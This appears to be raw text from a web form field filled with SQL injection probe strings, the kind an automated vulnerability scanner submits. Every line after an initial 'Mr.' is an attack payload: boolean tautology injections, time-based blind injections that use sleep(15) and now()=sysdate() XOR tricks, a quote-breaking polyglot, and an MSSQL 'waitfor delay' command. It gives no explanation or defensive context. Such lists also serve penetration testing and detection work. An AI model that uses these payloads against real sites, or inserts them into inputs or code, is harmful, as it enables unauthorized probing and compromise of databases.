Mr.

-1 OR 2+591-591-1=0+0+0+1

-1' OR 2+346-346-1=0+0+0+1 --

-1' OR 2+606-606-1=0+0+0+1 or 'rpe42rnS'='

-1" OR 2+647-647-1=0+0+0+1 --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

if(now()=sysdate(),sleep(15),0)

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-1; waitfor delay '0:0:15' --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z